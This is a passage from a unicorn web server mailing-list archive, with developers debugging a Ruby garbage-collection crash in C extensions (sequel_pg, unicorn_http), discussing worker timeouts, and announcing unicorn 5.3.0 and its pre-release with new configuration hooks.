$72 = (struct gc_list *) 0x7f7547651cc0
$73 = 5
---------------------------------------------
(gdb)
$74 = (struct gc_list *) 0x7f7546939760
$75 = 27 # T_NODE
---------------------------------------------
(gdb)
$76 = (struct gc_list *) 0x7f7546583e70
$77 = 8
Note that I have checked the whole global_list, the order looks the same.
Hence, I am quite sure that the T_NODE in the abnormal one comes from the same
module as the T_ARRAY in the normal one.
And from contents in T_ARRAY, the module should be unicorn_http.
^ permalink raw reply [relevance 4%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
@ 2017-10-03 17:15 3% ` Eric Wong
2017-10-03 18:20 4% ` Xuanzhong Wei
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-10-03 17:15 UTC (permalink / raw)
To: Xuanzhong Wei; +Cc: code, maillist, pere.joan, philip, unicorn-public
Xuanzhong Wei <azrlew@gmail.com> wrote:
> We have the same issue here.
>
> IMHO, it is a bug introduced by 979ebcf91705709be5041a3be4514e5f1f6ec02c.
> The `mark_ary` get GCed before we add it to the ruby's global_list
> since we are doing memory allocations before calling rb_global_variable.
>
> A simple test can be found here:
> https://github.com/azrle/ruby_c_ext_test
Thanks, which compiler and version did you use?
> I will try to submit a patch later.
https://bogomips.org/unicorn-public/20171003145718.30404-1-azrlew@gmail.com/raw
Yes, seems corect since the compiler doesn't need to keep
mark_ary anymore once it only needs the address (&mark_ary).
OBJ_FREEZE is an inline which does nothing to prevent
the compiler from only keeping RBasic->flags around and
not the actual VALUE.
^ permalink raw reply [relevance 3%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
@ 2017-08-07 6:16 3% ` Jeremy Evans
0 siblings, 0 replies; 200+ results
From: Jeremy Evans @ 2017-08-07 6:16 UTC (permalink / raw)
To: Eric Wong
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
On 07/24 01:25, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > Running with GC.stress didn't catch the error for me. But I'm using a
> > fairly old compiler (GCC 4.2.1, the OpenBSD default), so this may be
> > something that only shows up on a newer compiler that does more
> > optimizations.
>
> Pere: just curious if you've had a chance to test my patch for
> sequel_pg from Jeremy's latest sequel_pg.git
>
> In any case, I'm certain my patch fixes a bug which manifests
> in a compiler-dependent manner; but here could always be other
> bugs in a similar vein. Thanks.
I can't get it to crash with sequel_pg 1.7.0 when compiled using clang
4.0.0 either. I even tried to build a special program designed to
trigger the crash.
Compiler used:
$ cc -v
OpenBSD clang version 4.0.0 (tags/RELEASE_400/final) (based on LLVM 4.0.0)
Target: amd64-unknown-openbsd6.1
Thread model: posix
InstalledDir: /usr/bin
Program used:
require 'sequel'
DB = Sequel.postgres(:test=>false)
DB.extension :pg_array
# pg_array.txt contains ([[1] * 100] * 100) in PostgreSQL array format
t = File.read('pg_array.txt')
dot = '.'
trap(:HUP){}
Thread.new do
while true
sleep 1
Process.kill(:HUP, $$)
end
end
GC.stress = true
(0..2).map do
Thread.new do
i = 0
pr = lambda{|v| print dot if ((i+=1) % 100) == 0; "#{v}#{v}"}
while true
print 'L'
Sequel::Postgres.parse_pg_array(t.dup, pr)
end
end
end.map(&:join)
Pere, can you test this program and see if it crashes in your
environment? If not, can you put together a reproducible example that
does crash in your environment?
Thanks,
Jeremy
^ permalink raw reply [relevance 3%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-15 0:15 0% ` Eric Wong
@ 2017-07-15 1:34 0% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-07-15 1:34 UTC (permalink / raw)
To: Eric Wong
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
On 07/15 12:15, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > Thanks for this patch. I'm not an RB_GC_GUARD expert, but the changes
> > look fine to me. The existing RB_GC_GUARD calls were added by me in
> > 2012 to fix an earlier segfault.[1] This is the first reported
> > RB_GC_GUARD-related segfault in sequel_pg since then.
>
> No worries; I don't consider myself a RB_GC_GUARD expert, either(*).
>
> > [1] https://github.com/jeremyevans/sequel_pg/commit/15edb132887d9b5292cad419fc7692ed5cd4b01b.diff
>
> I suspect your original guards were lucky enough for C compilers
> in 2012, but compilers have gotten more clever since then. So
> there's a a higher likelyhood of exposing bugs given the
> conservative GC in Ruby(**).
>
> Historical note:
>
> Back in the day, "volatile" alone was enough to defeat
> compiler optimizations in C Ruby. Eventually, compilers got
> better, so RB_GC_GUARD was introduced. And in the future,
> RB_GC_GUARD may evolve to accomodate even more clever
> compilers.
>
> > Pere, I would appreciate if you could test this patch and see if it
> > fixes your issue. I will also test it and will release a new sequel_pg
> > version with this patch if it fixes the issue.
>
> Yes, actually testing the code is important, everything else
> I've written here is theory ;)
All of Sequel's postgres adapter tests still pass with this, so I merged
this into the master branch. I'll do some more testing of my apps, but
unless I run into problems I plan to release this as sequel_pg 1.7.1
early next week.
Thanks,
Jeremy
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-14 22:50 3% ` Jeremy Evans
@ 2017-07-15 0:15 0% ` Eric Wong
2017-07-15 1:34 0% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-07-15 0:15 UTC (permalink / raw)
To: Jeremy Evans
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
Jeremy Evans <code@jeremyevans.net> wrote:
> Thanks for this patch. I'm not an RB_GC_GUARD expert, but the changes
> look fine to me. The existing RB_GC_GUARD calls were added by me in
> 2012 to fix an earlier segfault.[1] This is the first reported
> RB_GC_GUARD-related segfault in sequel_pg since then.
No worries; I don't consider myself a RB_GC_GUARD expert, either(*).
> [1] https://github.com/jeremyevans/sequel_pg/commit/15edb132887d9b5292cad419fc7692ed5cd4b01b.diff
I suspect your original guards were lucky enough for C compilers
in 2012, but compilers have gotten more clever since then. So
there's a a higher likelyhood of exposing bugs given the
conservative GC in Ruby(**).
Historical note:
Back in the day, "volatile" alone was enough to defeat
compiler optimizations in C Ruby. Eventually, compilers got
better, so RB_GC_GUARD was introduced. And in the future,
RB_GC_GUARD may evolve to accomodate even more clever
compilers.
> Pere, I would appreciate if you could test this patch and see if it
> fixes your issue. I will also test it and will release a new sequel_pg
> version with this patch if it fixes the issue.
Yes, actually testing the code is important, everything else
I've written here is theory ;)
(*) Fwiw, I am not fluent in reading asm for systems I run Ruby on,
but I know how clever compilers can be, and have written
about it some on ruby-core:
https://public-inbox.org/ruby-core/?q=RB_GC_GUARD&d:..20170714
(**) similar story with lock-free multi-threading in other projects
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-14 21:16 0% ` Eric Wong
@ 2017-07-14 22:50 3% ` Jeremy Evans
2017-07-15 0:15 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2017-07-14 22:50 UTC (permalink / raw)
To: Eric Wong
Cc: Pere Joan Martorell, unicorn-public, Philip Cunningham,
Jonathan del Strother
On 07/14 09:16, Eric Wong wrote:
> Pere Joan Martorell <pere.joan@camaloon.com> wrote:
> > I suspect that the conflicting gem was 'sequel_pg' (sequel_pg
> > overwrites the inner loop of the Sequel postgres adapter row fetching
> > code with a C version. The C version is significantly faster than the
> > pure ruby version that Sequel uses by default), but given I didn't
> > remove these gems one by one I can't completely ensure that.
> >
> > If the problem reemerges I'll keep you informed.
> >
> > Thanks!! :)
>
> Thanks for the info. I've added Jeremy Evans, the author of
> sequel_pg to the Cc: even though I think he reads this list...
>
> Anyways, I think I've spotted one potential bug in sequel_pg
> w.r.t. RB_GC_GUARD usage, and the fix is below:
>
> git clone https://github.com/jeremyevans/sequel_pg && cd sequel_pg
> curl https://80x24.org/spew/20170714210918.3332-1-e@80x24.org/raw | git am
>
> (more in-depth explanation is in the commit message)
>
> Pere: perhaps you can give it a shot
>
> Keep in mind I've only compile-tested this. I didn't find
> automated tests in the code and I don't have a usable Postgres
> instance, at the moment.
Eric,
Thanks for this patch. I'm not an RB_GC_GUARD expert, but the changes
look fine to me. The existing RB_GC_GUARD calls were added by me in
2012 to fix an earlier segfault.[1] This is the first reported
RB_GC_GUARD-related segfault in sequel_pg since then.
Pere, I would appreciate if you could test this patch and see if it
fixes your issue. I will also test it and will release a new sequel_pg
version with this patch if it fixes the issue.
Thanks,
Jeremy
[1] https://github.com/jeremyevans/sequel_pg/commit/15edb132887d9b5292cad419fc7692ed5cd4b01b.diff
^ permalink raw reply [relevance 3%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
2017-07-14 10:21 4% ` Pere Joan Martorell
@ 2017-07-14 21:16 0% ` Eric Wong
2017-07-14 22:50 3% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-07-14 21:16 UTC (permalink / raw)
To: Pere Joan Martorell
Cc: unicorn-public, Philip Cunningham, Jonathan del Strother,
Jeremy Evans
Pere Joan Martorell <pere.joan@camaloon.com> wrote:
> I suspect that the conflicting gem was 'sequel_pg' (sequel_pg
> overwrites the inner loop of the Sequel postgres adapter row fetching
> code with a C version. The C version is significantly faster than the
> pure ruby version that Sequel uses by default), but given I didn't
> remove these gems one by one I can't completely ensure that.
>
> If the problem reemerges I'll keep you informed.
>
> Thanks!! :)
Thanks for the info. I've added Jeremy Evans, the author of
sequel_pg to the Cc: even though I think he reads this list...
Anyways, I think I've spotted one potential bug in sequel_pg
w.r.t. RB_GC_GUARD usage, and the fix is below:
git clone https://github.com/jeremyevans/sequel_pg && cd sequel_pg
curl https://80x24.org/spew/20170714210918.3332-1-e@80x24.org/raw | git am
(more in-depth explanation is in the commit message)
Pere: perhaps you can give it a shot
Keep in mind I've only compile-tested this. I didn't find
automated tests in the code and I don't have a usable Postgres
instance, at the moment.
^ permalink raw reply [relevance 0%]
* Re: Random crash when sending USR2 + QUIT signals to Unicorn process
@ 2017-07-14 10:21 4% ` Pere Joan Martorell
2017-07-14 21:16 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Pere Joan Martorell @ 2017-07-14 10:21 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public, Philip Cunningham, Jonathan del Strother
2017-07-13 21:34 GMT+02:00 Eric Wong <e@80x24.org>:
> +Cc: Philip and Jonathan since they encountered this three years
> ago, but we never heard back from them:
>
> https://bogomips.org/unicorn-public/?q=T_NODE+d:..20170713
>
>
> Pere Joan Martorell <pere.joan@camaloon.com> wrote:
>> > /home/deployer/.rbenv/versions/2.4.1/lib/ruby/gems/2.4.0/gems/unicorn-5.3.0/lib/unicorn/http_request.rb:80:in `parse': method `hash' called on unexpected T_NODE object (0x0055b15b973508 flags=0xaa31b) (NotImplementedError)
>
>> Any idea what is happening?
>
> This is most likely a bug in a C extension not using write
> barriers correctly (perhaps via undocumented C-API functions in
> Ruby).
>
> I don't think I've seen this on ruby-core bug reports in a few years:
>
> https://public-inbox.org/ruby-core/?q=T_NODE
>
> Fwiw, Appendix D on Generational GC in the Ruby source is
> worth reading to any C extension authors:
>
> https://80x24.org/mirrors/ruby.git/plain/doc/extension.rdoc
>
> There are probably build warnings when using some dangerous methods/macros,
> maybe you can check build logs for const warnings.
>
>
> Can you share the list of RubyGems you have loaded and maybe try
> upgrading/replacing/eliminating the ones with C extensions
> one-by-one until the error stops?
Thank you very much for your fast reply. I'm not using Bundler to
manage my dependencies, but I checked it and there's not any conflict
between gem versions.
Seems that I solved the issue removing some of the gems. This was my gem list:
cuba -v 3.8.0
slim -v 3.0.8
cutest -v 1.2.3
rack-test -v 0.6.3
sequel -v 4.46.0
pg -v 0.20.0
shotgun -v 0.9.2
shield -v 2.1.1
sequel_pg -v 1.6.19
unicorn -v 5.3.0
capistrano-rbenv -v 2.1.1
And I finally removed these gems:
cutest -v 1.2.3
rack-test -v 0.6.3
shotgun -v 0.9.2
sequel_pg -v 1.6.19
I suspect that the conflicting gem was 'sequel_pg' (sequel_pg
overwrites the inner loop of the Sequel postgres adapter row fetching
code with a C version. The C version is significantly faster than the
pure ruby version that Sequel uses by default), but given I didn't
remove these gems one by one I can't completely ensure that.
If the problem reemerges I'll keep you informed.
Thanks!! :)
>
> Also, perhaps the output of "pmap $PID_OF_WORKER" if you're on
> Linux (or equivalent command if you're on another OS).
>
> Anyways, I didn't notice anything suspicious in your config.
>
> I'll do another self-audit of the unicorn + kgio + raindrops
> extensions, too, but judging from the lack of reports and how
> much they get used; I suspect the bug is elsewhere (more eyes
> welcome, of course).
>
> Thanks for the report and any more info you can provide!
^ permalink raw reply [relevance 4%]
* Re: Master Process Reaping Worker with No message
@ 2017-05-23 16:22 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-05-23 16:22 UTC (permalink / raw)
To: Aakash Gupta; +Cc: unicorn-public
Aakash Gupta <aakash.gupta96@outlook.com> wrote:
> I am using unicorn server with Nginx for running my Rails app.
> I don't know why but my master server is reaping workers
> continously while file uploads. I have raised the timeout
> limit of unicorn to 20 minutes for giving sufficient time for
> uploading file. This happends mostly during file uploads on
> server. For file uploads, I am using Carrierwave gem with Fog
> to upload the files to S3. Server is running on AWS EC2
> instance of 1GB RAM with 2GB Swap space. Master process kills
> worker with message "ERROR : reaped ... SIGKILL (signal 9)>
> worker=1 " without any reason or message such as timeout or
> memory overflow.
I don't know anything about Carrierwave or Fog; but is there any
chance they (or anything in your app) could be sending a SIGKILL
signal to the process?
So you see the "reaped ... SIGKILL" message, but no corresponding
message like "worker=... PID:... timeout (... > ...), killing"?
It sounds like somebody else is sending SIGKILL to a worker...
Is this AWS EC2 instance running Linux? Check the kernel log
(dmesg) to see if you're hitting the OOM killer, since the
kernel OOM killer will also send SIGKILL to processes using too
much memory.
How big are the files you're uploading? Can you reproduce this
making small file uploads?
Honestly, there's no reason any process should become
memory-dependent based on the size of the file being uploaded;
but maybe some code doesn't know how to stream correctly :<
Fwiw, unicorn itself has always designed for handling
multi-gigabyte uploads with stable memory usage in mind.
Other code I've seen, not so much, unfortunately.
> Whenever a worker is reaped, Nginx also logs an error for each
> reaping instance with message: " upstream prematurely closed
> connection while reading response header from upstream ..."
Right, that is expected once workers start dying...
> I need help to figure out the problem and the reason why this
> is happening. I don't think this is happening because of
> timeout issue because whenever I try to test my server by
> uploading a file, this error appears even before 20 minutes
> which is the timeout limit. Any help regarding this would be
> appreciated.
Which unicorn version is this? There used to be some timeout
calculation bugs in the old days, but those were over five
years ago, maybe even before unicorn 1.0.
Just covering all your bases, Also, is there any chance your
system clock is being changed? If you're using unicorn 5.0.0+
with Ruby 2.1+, it'll be able to use the monotonic clock, making
it immune to time changes.
Thanks for any info you can provide!
^ permalink raw reply [relevance 2%]
* Re: after_worker_exit on murder
2017-04-05 10:55 2% ` Simon Eskildsen
@ 2017-04-05 18:33 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-04-05 18:33 UTC (permalink / raw)
To: Simon Eskildsen; +Cc: unicorn-public, Jeremy Evans
Simon Eskildsen <simon.eskildsen@shopify.com> wrote:
Thank you for your reply. It is a good reminder of how far away
I am from the rest of the web development world :>
<snip>
> It becomes difficult, because sometimes you have legitimate requests
> that take 10-20s, because the merchant's data set is so large that it
> exposes anomalies. Again, with the size of our code-base, we need this
> wiggle room in the global timeout to not just error on users. You can
> have endpoints that do 4 HTTP requests, 5 RPC requests, 4 MySQL
> queries, and 30 calls to Memcached. In that case, your worst case is
> the timeout of all of those actions, which easily exceeds the Unicorn
> timeout.
Wow, that is frightening... People will actually wait for a web
page to load in that case? I guess that's why ccc exists :>
> We've debated having "budgets" and "shitlisting"
> (http://sirupsen.com/shitlists/) paths that obviously take longer than
> the budget for a single resource. The probability of more than one
> resource being very slow at once, is quite low (and if it is, again,
> we rely on the Unicorn timeout).
Interesting. I guess for now, you can use nginx or similar to
route to differently-configured unicorns with different timeouts
(or even other servers)?
Anyways, I'm coming around to reconciling the two mindsets of
"typical" code running on unicorn ("it's alright to crash")
and the "no room for error: nuclear war starts if you screw up"
mindset I adopt for other projects.
> Some of these bugs are even deep in Ruby, Jean B, one of my co-workers
> submitted a bug about there being no write_timeout in Net::HTTP (you
> even replied!): https://bugs.ruby-lang.org/issues/13396
Yeah, that got me thinking of improving core timeouts again...
One big problem is the lack of a portable standard asynchronous
name resolution mechanism in the C standard library. I'm not
sure how well resolv.rb/resolv-replace.rb holds up in real-world
usage, nor if pulling in something like ares2 would be an
acceptable dependency for ruby-core...
> BTW we deployed 5.3.0 and replaced our `before_murder` hook with
> `after_worker_exit`. Everything works perfectly and we finally are not
> using a forked version of Unicorn anymore. Thanks for the release!
Cool, good to know.
^ permalink raw reply [relevance 0%]
* Re: after_worker_exit on murder
@ 2017-04-05 10:55 2% ` Simon Eskildsen
2017-04-05 18:33 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Simon Eskildsen @ 2017-04-05 10:55 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public, Jeremy Evans
I agree with you in principle, absolutely. However, when you have a
code-base the size of ours (100Ks of lines of Ruby) with 100s of
developers, and new ones coming on every month with no prior Ruby or
Rails experience, we can't rely on everyone doing the right thing all
the time. With a surface area of that size, there will be things that
are missed, especially when you run gems like Liquid that have
billions of different ways of composing templates—some of these paths,
unfortunately, are going to be slow. We definitely chase down all the
worst offenders, but when new ones creep up, we do our best to chase
them down when time allows. Using this hook, allows us to monitor when
that happens, and how often it happens, and for which endpoints. With
100Ks of lines of code, 100s of developers, and 10s of thousands of
requests per second—once in a million happens every couple of seconds.
Multiply that with the size of the code-base, and Unicorn timeouts due
to the conditions below will happen somewhat often.
It becomes difficult, because sometimes you have legitimate requests
that take 10-20s, because the merchant's data set is so large that it
exposes anomalies. Again, with the size of our code-base, we need this
wiggle room in the global timeout to not just error on users. You can
have endpoints that do 4 HTTP requests, 5 RPC requests, 4 MySQL
queries, and 30 calls to Memcached. In that case, your worst case is
the timeout of all of those actions, which easily exceeds the Unicorn
timeout. We've debated having "budgets" and "shitlisting"
(http://sirupsen.com/shitlists/) paths that obviously take longer than
the budget for a single resource. The probability of more than one
resource being very slow at once, is quite low (and if it is, again,
we rely on the Unicorn timeout).
In other words, the Unicorn timeout is not a crutch for timeouts in
the application, but a global timeout to as a last line of defense
against many timeouts, or some bug we didn't foresee. This seems
unavoidable in my eyes, unless you have very aggressive timeouts and
meticulously keep track of the budgets in a testing environment and
raise if the budget is exceeded. When we hit many timeouts, we use
Semian (http://github.com/shopify/semian) to trigger circuit
breakers—so the reliance on Unicorn should be brief.
Some of these bugs are even deep in Ruby, Jean B, one of my co-workers
submitted a bug about there being no write_timeout in Net::HTTP (you
even replied!): https://bugs.ruby-lang.org/issues/13396
BTW we deployed 5.3.0 and replaced our `before_murder` hook with
`after_worker_exit`. Everything works perfectly and we finally are not
using a forked version of Unicorn anymore. Thanks for the release!
^ permalink raw reply [relevance 2%]
* [ANN] unicorn 5.3.0 - Rack HTTP server for fast clients and Unix
@ 2017-04-01 8:08 1% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-04-01 8:08 UTC (permalink / raw)
To: ruby-talk, unicorn-public
Cc: Jeremy Evans, Simon Eskildsen, Dylan Thacker-Smith
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* https://bogomips.org/unicorn/
* public list: unicorn-public@bogomips.org
* mail archives: https://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* https://bogomips.org/unicorn/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
Changes:
unicorn 5.3.0
A couple of portability fixes from Dylan Thacker-Smith and
Jeremy Evans since 5.3.0.pre1 over a week ago, but this looks
ready for a stable release, today.
When I started this over 8 years ago, I wondered if this would
just end up being an April Fools' joke. Guess not. I guess I
somehow tricked people into using a terribly marketed web server
that cannot talk directly to untrusted clients :x Anyways,
unicorn won't be able to handle slow clients 8 years from now,
either, or 80 years from now. And I vow never to learn to use
new-fangled things like epoll, kqueue, or threads :P
Anyways, this is a largish release with several new features,
and no backwards incompatibilities.
Simon Eskildsen contributed heavily using TCP_INFO under Linux
to implement the (now 5 year old) check_client_connection feature:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-check_client_connection
https://bogomips.org/unicorn-public/?q=s:check_client_connection&d:..20170401&x=t
This also led to FreeBSD and OpenBSD portability improvements in
one of our dependencies, raindrops:
https://bogomips.org/raindrops-public/20170323024829.GA5190@dcvr/T/#u
Jeremy Evans contributed several new features. First he
implemented after_worker_exit to aid debugging:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-after_worker_exit
https://bogomips.org/unicorn-public/?q=s:after_worker_exit&d:..20170401&x=t#t
And then security-related features to isolate workers. Workers
may now chroot to drop access to the master filesystem, and the
new after_worker_ready configuration hook now exists to aid with
chroot support in workers:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-after_worker_ready
https://bogomips.org/unicorn/Unicorn/Worker.html#method-i-user
https://bogomips.org/unicorn-public/?q=s:after_worker_ready&d:..20170401&x=t#t
https://bogomips.org/unicorn-public/?q=s:chroot&d:..20170401&x=t#t
Additionally, workers may run in a completely different VM space
(nullifying preload_app and any CoW savings) with the new
worker_exec option:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-worker_exec
https://bogomips.org/unicorn-public/?q=s:worker_exec&d:..20170401&x=t#t
There are also several improvements to FreeBSD and OpenBSD
support with the addition of these features.
shortlog of changes since v5.2.0 (2016-10-31):
Dylan Thacker-Smith (1):
Check for Socket::TCP_INFO constant before trying to get TCP_INFO
Eric Wong (30):
drop rb_str_set_len compatibility replacement
TUNING: document THP caveat for Linux users
tee_input: simplify condition for IO#write
remove response_start_sent
http_request: freeze constant strings passed IO#write
Revert "remove response_start_sent"
t/t0012-reload-empty-config.sh: access ivars directly if needed
t0011-active-unix-socket.sh: fix race condition in test
new test for check_client_connection
revert signature change to HttpServer#process_client
support "struct tcp_info" on non-Linux and Ruby 2.2+
unicorn_http: reduce rb_global_variable calls
oob_gc: rely on opt_aref_with optimization on Ruby 2.2+
http_request: reduce insn size for check_client_connection
freebsd: avoid EINVAL when setting accept filter
test-lib: expr(1) portability fix
tests: keep disabled tests defined
test_exec: SO_KEEPALIVE value only needs to be true
doc: fix links to raindrops project
http_request: support proposed Raindrops::TCP states on non-Linux
ISSUES: expand on mail archive info + subscription disclaimer
test_ccc: use a pipe to synchronize test
doc: remove private email support address
input: update documentation and hide internals.
http_server: initialize @pid ivar
gemspec: remove olddoc from build dependency
doc: add version annotations for new features
unicorn 5.3.0.pre1
doc: note after_worker_exit is also 5.3.0+
test_exec: SO_KEEPALIVE value only needs to be true (take #2)
Jeremy Evans (7):
Add after_worker_exit configuration option
Fix code example in after_worker_exit documentation
Add support for chroot to Worker#user
Add after_worker_ready configuration option
Add worker_exec configuration option
Don't pass a block for fork when forking workers
Check for SocketError on first ccc attempt
Simon Eskildsen (1):
check_client_connection: use tcp state on linux
--
Yes, this release is real despite the date.
^ permalink raw reply [relevance 1%]
* Re: [PATCH] Check for Socket::TCP_INFO constant before trying to get TCP_INFO
2017-03-26 2:52 0% ` Dylan Thacker-Smith
@ 2017-03-26 3:37 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-26 3:37 UTC (permalink / raw)
To: Dylan Thacker-Smith; +Cc: unicorn-public
Dylan Thacker-Smith <dylan.smith@shopify.com> wrote:
> On Sat, Mar 25, 2017 at 10:41 PM, Eric Wong <e@80x24.org> wrote:
> > Is the last line to set "@@tcpi_inspect_ok = true" still
> > necessary? It was necessary in Jeremy's version, but I think
> > you can safely omit it, now.
>
> No it isn't needed, so you can remove it.
>
> I had just started my patch before seeing his, so reverted his as part
> of rebasing and this line was present before his patch.
Thanks, pushed as 477a2207869ff6b11a1cdee428b55604f2caa69e
to "master" of git://bogomips.org/unicorn
^ permalink raw reply [relevance 0%]
* Re: [PATCH] Check for Socket::TCP_INFO constant before trying to get TCP_INFO
2017-03-26 2:41 3% ` Eric Wong
@ 2017-03-26 2:52 0% ` Dylan Thacker-Smith
2017-03-26 3:37 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Dylan Thacker-Smith @ 2017-03-26 2:52 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On Sat, Mar 25, 2017 at 10:41 PM, Eric Wong <e@80x24.org> wrote:
> Is the last line to set "@@tcpi_inspect_ok = true" still
> necessary? It was necessary in Jeremy's version, but I think
> you can safely omit it, now.
No it isn't needed, so you can remove it.
I had just started my patch before seeing his, so reverted his as part
of rebasing and this line was present before his patch.
^ permalink raw reply [relevance 0%]
* Re: [PATCH] Check for Socket::TCP_INFO constant before trying to get TCP_INFO
@ 2017-03-26 2:41 3% ` Eric Wong
2017-03-26 2:52 0% ` Dylan Thacker-Smith
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-03-26 2:41 UTC (permalink / raw)
To: Dylan Thacker-Smith; +Cc: unicorn-public
Dylan Thacker-Smith <dylan.smith@shopify.com> wrote:
> The ruby constant Socket::TCP_INFO is only defined if TCP_INFO is defined
> in C, so we can just check for the presence of that ruby constant instead
> of rescuing SocketError from the call to getsockopt.
Good catch! I forget there's systems without TCP_INFO at all :x
> +++ b/lib/unicorn/http_request.rb
> @@ -29,7 +29,7 @@ class Unicorn::HttpParser
> EMPTY_ARRAY = [].freeze
> @@input_class = Unicorn::TeeInput
> @@check_client_connection = false
> - @@tcpi_inspect_ok = nil
> + @@tcpi_inspect_ok = Socket.const_defined?(:TCP_INFO)
>
> def self.input_class
> @@input_class
> @@ -154,20 +154,10 @@ def closed_state?(state) # :nodoc:
> # Not that efficient, but probably still better than doing unnecessary
> # work after a client gives up.
> def check_client_connection(socket) # :nodoc:
> - if Unicorn::TCPClient === socket && @@tcpi_inspect_ok != false
> - if @@tcpi_inspect_ok
> - opt = socket.getsockopt(:IPPROTO_TCP, :TCP_INFO).inspect
> - else
> - @@tcpi_inspect_ok = true
> - opt = begin
> - socket.getsockopt(:IPPROTO_TCP, :TCP_INFO)
> - rescue SocketError
> - @@tcpi_inspect_ok = false
> - return write_http_header(socket)
> - end.inspect
> - end
> -
> + if Unicorn::TCPClient === socket && @@tcpi_inspect_ok
> + opt = socket.getsockopt(Socket::IPPROTO_TCP, Socket::TCP_INFO).inspect
> if opt =~ /\bstate=(\S+)/
> + @@tcpi_inspect_ok = true
Is the last line to set "@@tcpi_inspect_ok = true" still
necessary? It was necessary in Jeremy's version, but I think
you can safely omit it, now.
> raise Errno::EPIPE, "client closed connection".freeze,
> EMPTY_ARRAY if closed_state_str?($1)
> else
Anyways, I'm inclined to apply your patch with the redundant
assignment removed (no need to resend). Thanks.
^ permalink raw reply [relevance 3%]
* [PATCH] doc: note after_worker_exit is also 5.3.0+
@ 2017-03-24 0:33 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-24 0:33 UTC (permalink / raw)
To: unicorn-public; +Cc: Jeremy Evans
Followup-to: 650e01ab0b118803486b56f3ee59521d59042dae
("doc: add version annotations for new features")
---
Oops, missed the 5.3.0.pre1 release; I managed to squash in
the worker_exec change for that, though.
lib/unicorn/configurator.rb | 2 ++
1 file changed, 2 insertions(+)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 5203537b..7fb9030f 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -172,6 +172,8 @@ def after_fork(*args, &block)
# server.logger.error("worker process failure: #{status.inspect}")
# end
# end
+ #
+ # after_worker_exit is only available in unicorn 5.3.0+
def after_worker_exit(*args, &block)
set_hook(:after_worker_exit, block_given? ? block : args[0], 3)
end
--
EW
^ permalink raw reply related [relevance 3%]
* [ANN] unicorn 5.3.0.pre1 - Rack HTTP server for fast clients and Unix
@ 2017-03-24 0:28 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-03-24 0:28 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Jeremy Evans, Simon Eskildsen
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* https://bogomips.org/unicorn/
* public list: unicorn-public@bogomips.org
* mail archives: https://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* https://bogomips.org/unicorn/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
This is a pre-release RubyGem intended for testing.
Changes:
unicorn 5.3.0.pre1
A largish release with several new features.
Simon Eskildsen contributed heavily using TCP_INFO under Linux
to implement the (now 5 year old) check_client_connection feature:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-check_client_connection
https://bogomips.org/unicorn-public/?q=s:check_client_connection&d:..20170324&x=t
This also led to FreeBSD and OpenBSD portability improvements in
one of our dependencies, raindrops:
https://bogomips.org/raindrops-public/20170323024829.GA5190@dcvr/T/#u
Jeremy Evans contributed several new features. First he
implemented after_worker_exit to aid debugging:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-after_worker_exit
https://bogomips.org/unicorn-public/?q=s:after_worker_exit&d:..20170324&x=t#t
And then security-related features to isolate workers. Workers
may now chroot to drop access to the master filesystem, and the
new after_worker_ready configuration hook now exists to aid with
chroot support in workers:
https://bogomips.org/unicorn/Unicorn/Configurator.html#method-i-after_worker_ready
